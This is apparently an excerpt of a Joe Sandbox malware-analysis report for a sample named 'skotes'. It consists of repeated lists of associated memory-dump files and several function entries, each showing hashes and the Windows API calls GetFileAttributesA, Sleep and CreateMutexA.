Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 12c0eda293c2bea1d20ca8f7a590a9832bc58edacb1e1e8576a240aa8592c92f
Instruction ID: 284f9d18b34fc1480afdf2f6a6ee16c9c1b5728cb218861e37c3b09529ee2917
Opcode Fuzzy Hash: 12c0eda293c2bea1d20ca8f7a590a9832bc58edacb1e1e8576a240aa8592c92f
Instruction Fuzzy Hash: 9D3128327001449BEB08DB78DDC976DF7F2EBC6310F24429AE014A73D5E77A99848762

Function 00BDA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BDA2E6
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: bb6e5609d8d163e1cd1163f95519ba8d0794a4fb41c94f20b1a3c5ee5c6301c2
Instruction ID: 7c3dd0bf0ed390d8a50a18fd94969b41c700952ad3b106beb926185710410179
Opcode Fuzzy Hash: bb6e5609d8d163e1cd1163f95519ba8d0794a4fb41c94f20b1a3c5ee5c6301c2
Instruction Fuzzy Hash: 2D317B317001449BEB08DB78DC8876DF7F2EBC6320F20869AE014D77E5E77A99808726

Function 00BDA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BDA41B
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a3c8d6f2d6fdbd46ec26e1ef1127f6934e583a9f69e900a9500c23ffabb6d6a2
Instruction ID: 5d827d171af6e49c117672958a488de28d9abed9f52a96fbddac6fc62cb4c734
Opcode Fuzzy Hash: a3c8d6f2d6fdbd46ec26e1ef1127f6934e583a9f69e900a9500c23ffabb6d6a2
Instruction Fuzzy Hash: 383148327001449BEB08EB78D98DB6DF7F2EFC5314F20429AE014A73D5E7B999808666

Function 00BDA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BDA550
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3903031b7866f126912f807db15be8c3ad7e7683f6b7a05c7905104f74498a94
Instruction ID: 7580b4c3c1aaec651105929a49d41af808b65f3cae25fa8e0d5393bf29cd4a02
Opcode Fuzzy Hash: 3903031b7866f126912f807db15be8c3ad7e7683f6b7a05c7905104f74498a94
Instruction Fuzzy Hash: 1C312A317001448BEB08DB78ECC976DF7E6EB85314F24429AE414D73D5E77999808726

Function 00BDA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BDA685
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 97f1ba718f609765fc855e51c4d1a053dc310a2e073b7504fc0fbc771b7b7e0e
Instruction ID: daacd0f1a9ec2bc501ceb96f244ac20afad9516f65fc1a2ea0d1690cb094b252
Opcode Fuzzy Hash: 97f1ba718f609765fc855e51c4d1a053dc310a2e073b7504fc0fbc771b7b7e0e
Instruction Fuzzy Hash: 3D3159317002448BEB08DB78DDC976DF7F2DB85310F24829AE014D73E1E7B999808766

Function 00BDA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BDA7BA
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
